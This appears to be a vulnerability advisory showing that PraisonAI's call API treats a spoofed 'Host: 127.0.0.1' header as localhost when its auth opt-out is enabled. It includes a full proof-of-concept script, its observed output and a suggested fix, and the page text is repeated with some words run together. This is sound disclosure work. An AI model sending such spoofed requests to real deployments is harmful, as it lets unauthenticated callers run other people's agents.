Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.
Technical Details
The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:
_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})
def _bind_host_from_request(request: Request) -> str:
host = getattr(getattr(request, 'url', None), 'hostname', None)
return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')
async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
if _call_auth_disabled():
bind_host = _bind_host_from_request(request)
if bind_host not in _LOCALHOST_HOSTS:
raise HTTPException(
status_code=503,
detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
)
return
The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.
The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.
This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.
PoV
the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.
disabled_client = TestClient(app, base_url="http://external.example")
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.
The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:
git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
Observed v4.6.62 output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
"repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
"spoofed_localhost_invoke_body": {
"metadata": {
"agent_id": "pov-agent",
"message_length": 18,
"response_length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session_id": "default",
"status": "success"
},
"stub_agent_calls": [
"host-header-bypass"
],
"vulnerable": true
}
Run the same script against current main:
git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .
Observed current-head output:
{
"disabled_auth_external_host_status": 503,
"disabled_auth_spoofed_localhost_invoke_status": 200,
"disabled_auth_spoofed_localhost_list_status": 200,
"fail_closed_without_token_status": 503,
"repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
"spoofed_localhost_invoke_body": {
"metadata": {
"agent_id": "pov-agent",
"message_length": 18,
"response_length": 33
},
"result": "stub-agent-ran:host-header-bypass",
"session_id": "default",
"status": "success"
},
"stub_agent_calls": [
"host-header-bypass"
],
"vulnerable": true
}
The negative controls are the first two status fields. With default authentication and no token, the API fails closed with 503. With PRAISONAI_CALL_AUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.
Impact
An unauthenticated caller who can reach a PraisonAI call/serve API with PRAISONAI_CALL_AUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agent_id}/invoke.
Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted /api/v1/agents API family.
Suggested CWE: CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.
Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.
Suggested Fix
Do not derive bind safety from Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAI_CALL_AUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.
Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.
Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.
Affected Package/Versions
Affected package: praisonai on PyPI.
Confirmed affected:
v4.6.62 at 2a855c470077c7d2e2479a575f7ef7f548d51c33
- current main at
846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting 4.6.62
v4.6.60 had the older unconditional PRAISONAI_CALL_AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.
Fixed version: unknown.
Advisory History
I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:
GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion when CALL_SERVER_TOKEN is unset in older releases. Current code fails closed when no token is configured; this report requires the patched PRAISONAI_CALL_AUTH=disabled localhost guard and a spoofed Host header.
GHSA-8ccj-p46r-jwqq: PRAISONAI_CALL_AUTH=disabled unconditionally disabled authentication in older releases and is listed as patched in >= 4.6.61. This report shows v4.6.62 and current main are still bypassable through the new guard because the guard trusts request.url.hostname.
GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through praisonaiagents.mcp.ToolsMCPServer.run_sse(), /sse, and /messages/. That advisory affects praisonaiagents >= 0.6.0, < 1.6.58 and praisonai >= 3.10.0, < 4.6.58, with patches listed as praisonaiagents >= 1.6.59 and praisonai >= 4.6.59. This report targets a different package call path in praisonai.api.agent_invoke.verify_token() and /api/v1/agents/{agent_id}/invoke, confirmed in praisonai v4.6.62 and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires PRAISONAI_CALL_AUTH=disabled on the call/n8n agent API and bypasses its localhost-only opt-out guard with Host: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.
GHSA-x8cv-xmq7-p8xp: AgentTeam.launch() unauthenticated API. That advisory covers praisonaiagents AgentTeam.launch() routes, not praisonai.api.agent_invoke.verify_token().
GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.
No advisory I found describes Host-header spoofing against the patched PRAISONAI_CALL_AUTH=disabled localhost guard in praisonai.api.agent_invoke.
References
Appendix A - Full PoV Script
#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""
from __future__ import annotations
import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any
def _repo_root() -> Path:
if len(sys.argv) == 2:
return Path(sys.argv[1]).resolve()
return Path.cwd().resolve()
def _load_agent_invoke(repo_root: Path, auth_disabled: bool):
os.environ.pop("CALL_SERVER_TOKEN", None)
if auth_disabled:
os.environ["PRAISONAI_CALL_AUTH"] = "disabled"
else:
os.environ.pop("PRAISONAI_CALL_AUTH", None)
package_root = repo_root / "src" / "praisonai"
if not package_root.exists():
raise SystemExit(f"missing PraisonAI package root: {package_root}")
package_root_s = str(package_root)
if package_root_s not in sys.path:
sys.path.insert(0, package_root_s)
import praisonai.api.agent_invoke as agent_invoke
agent_invoke = importlib.reload(agent_invoke)
agent_invoke._agent_registry.clear()
return agent_invoke
class StubAgent:
def __init__(self) -> None:
self.calls: list[str] = []
def start(self, message: str) -> str:
self.calls.append(message)
return f"stub-agent-ran:{message}"
def _make_client(agent_invoke: Any):
from fastapi import FastAPI
from fastapi.testclient import TestClient
app = FastAPI()
app.include_router(agent_invoke.router)
return TestClient(app, base_url="http://external.example")
def main() -> int:
repo_root = _repo_root()
fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)
fail_closed_client = _make_client(fail_closed_mod)
fail_closed = fail_closed_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)
agent = StubAgent()
disabled_mod.register_agent("pov-agent", agent)
disabled_client = _make_client(disabled_mod)
external_host = disabled_client.get(
"/api/v1/agents",
headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
"/api/v1/agents",
headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
"/api/v1/agents/pov-agent/invoke",
headers={"host": "127.0.0.1"},
json={"message": "host-header-bypass"},
)
result = {
"repo_head": _git(repo_root, "rev-parse", "HEAD"),
"fail_closed_without_token_status": fail_closed.status_code,
"disabled_auth_external_host_status": external_host.status_code,
"disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code,
"disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code,
"spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke),
"stub_agent_calls": agent.calls,
}
expected = (
fail_closed.status_code == 503
and external_host.status_code == 503
and spoofed_localhost_list.status_code == 200
and spoofed_localhost_invoke.status_code == 200
and agent.calls == ["host-header-bypass"]
)
result["vulnerable"] = expected
print(json.dumps(result, indent=2, sort_keys=True))
return 0 if expected else 1
def _safe_json(response: Any) -> Any:
try:
return response.json()
except Exception:
return response.text
def _git(repo_root: Path, *args: str) -> str:
import subprocess
return subprocess.check_output(
["git", "-C", str(repo_root), *args],
text=True,
stderr=subprocess.DEVNULL,
).strip()
if __name__ == "__main__":
raise SystemExit(main())
Call API localhost-only authentication bypass via spoofed Host header
Summary
PraisonAI's patched
PRAISONAI_CALL_AUTH=disabledsafeguard for the n8n/call agent invocation API can be bypassed with a spoofedHost: 127.0.0.1header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.Technical Details
The affected code is
src/praisonai/praisonai/api/agent_invoke.py.verify_token()is used as a FastAPI dependency for the/api/v1/agentsroutes, includingPOST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication whenPRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads
request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore sendHost: 127.0.0.1and make the disabled-auth guard believe the request is for a localhost-bound service.The protected sink is agent execution. After
verify_token()returns,invoke_agent()retrieves the registered agent and callsagent.astart(request.message)oragent.start(request.message). The same router is mounted by the PraisonAI serve feature, which importspraisonai.api.agent_invoke, includesagent_invoke.router, and registers YAML agents into the same registry.This is not a default-configuration exposure claim. The deployment must enable
PRAISONAI_CALL_AUTH=disabledand the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.PoV
the PoV builds an in-process FastAPI app with the real
agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sendsHost: 127.0.0.1.Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects
Host: external.examplewith503, but accepts the spoofed localhost Host with200and invokes the stub agent.The complete PoV script is in Appendix A.
PoC
Run from a PraisonAI checkout with the Appendix A script saved as
pov_call_auth_host_spoof.py:git checkout v4.6.62 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .Observed
v4.6.62output:{ "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true }Run the same script against current main:
git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753 uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .Observed current-head output:
{ "disabled_auth_external_host_status": 503, "disabled_auth_spoofed_localhost_invoke_status": 200, "disabled_auth_spoofed_localhost_list_status": 200, "fail_closed_without_token_status": 503, "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753", "spoofed_localhost_invoke_body": { "metadata": { "agent_id": "pov-agent", "message_length": 18, "response_length": 33 }, "result": "stub-agent-ran:host-header-bypass", "session_id": "default", "status": "success" }, "stub_agent_calls": [ "host-header-bypass" ], "vulnerable": true }The negative controls are the first two status fields. With default authentication and no token, the API fails closed with
503. WithPRAISONAI_CALL_AUTH=disabled, an ordinary external Host is also rejected with503. Only the spoofed localhost Host passes the guard and reaches agent execution.Impact
An unauthenticated caller who can reach a PraisonAI call/serve API with
PRAISONAI_CALL_AUTH=disabledcan bypass the intended localhost-only restriction by settingHost: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through/api/v1/agents/{agent_id}/invoke.Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted
/api/v1/agentsAPI family.Suggested CWE:
CWE-287Improper Authentication andCWE-346Origin Validation Error, withCWE-306Missing Authentication for Critical Function also applicable to the bypassed protected action.Suggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N(8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.Suggested Fix
Do not derive bind safety from
Request.url, the HTTP Host header, or any request-header-derived value. IfPRAISONAI_CALL_AUTH=disabledremains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to
127.0.0.1,localhost, or::1.Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where
PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sendsHost: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.Affected Package/Versions
Affected package:
praisonaion PyPI.Confirmed affected:
v4.6.62at2a855c470077c7d2e2479a575f7ef7f548d51c33846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting4.6.62v4.6.60had the older unconditionalPRAISONAI_CALL_AUTH=disabledbypass and is covered by a different public advisory. This report is for the patched guard shape present inv4.6.62and current main. Ifv4.6.61contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.Fixed version: unknown.
Advisory History
I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:
GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion whenCALL_SERVER_TOKENis unset in older releases. Current code fails closed when no token is configured; this report requires the patchedPRAISONAI_CALL_AUTH=disabledlocalhost guard and a spoofed Host header.GHSA-8ccj-p46r-jwqq:PRAISONAI_CALL_AUTH=disabledunconditionally disabled authentication in older releases and is listed as patched in>= 4.6.61. This report showsv4.6.62and current main are still bypassable through the new guard because the guard trustsrequest.url.hostname.GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools throughpraisonaiagents.mcp.ToolsMCPServer.run_sse(),/sse, and/messages/. That advisory affectspraisonaiagents >= 0.6.0, < 1.6.58andpraisonai >= 3.10.0, < 4.6.58, with patches listed aspraisonaiagents >= 1.6.59andpraisonai >= 4.6.59. This report targets a different package call path inpraisonai.api.agent_invoke.verify_token()and/api/v1/agents/{agent_id}/invoke, confirmed inpraisonai v4.6.62and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requiresPRAISONAI_CALL_AUTH=disabledon the call/n8n agent API and bypasses its localhost-only opt-out guard withHost: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.GHSA-x8cv-xmq7-p8xp:AgentTeam.launch()unauthenticated API. That advisory coverspraisonaiagentsAgentTeam.launch()routes, notpraisonai.api.agent_invoke.verify_token().GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.No advisory I found describes Host-header spoofing against the patched
PRAISONAI_CALL_AUTH=disabledlocalhost guard inpraisonai.api.agent_invoke.References
src/praisonai/praisonai/api/agent_invoke.pysrc/praisonai/praisonai/cli/features/serve.pyGHSA-86qc-r5v2-v6x6: GHSA-86qc-r5v2-v6x6GHSA-8ccj-p46r-jwqq: GHSA-8ccj-p46r-jwqqGHSA-vmf9-xx9w-86wx: GHSA-vmf9-xx9w-86wxGHSA-x8cv-xmq7-p8xp: GHSA-x8cv-xmq7-p8xpGHSA-5qw8-f2g9-ff29: GHSA-5qw8-f2g9-ff29Appendix A - Full PoV Script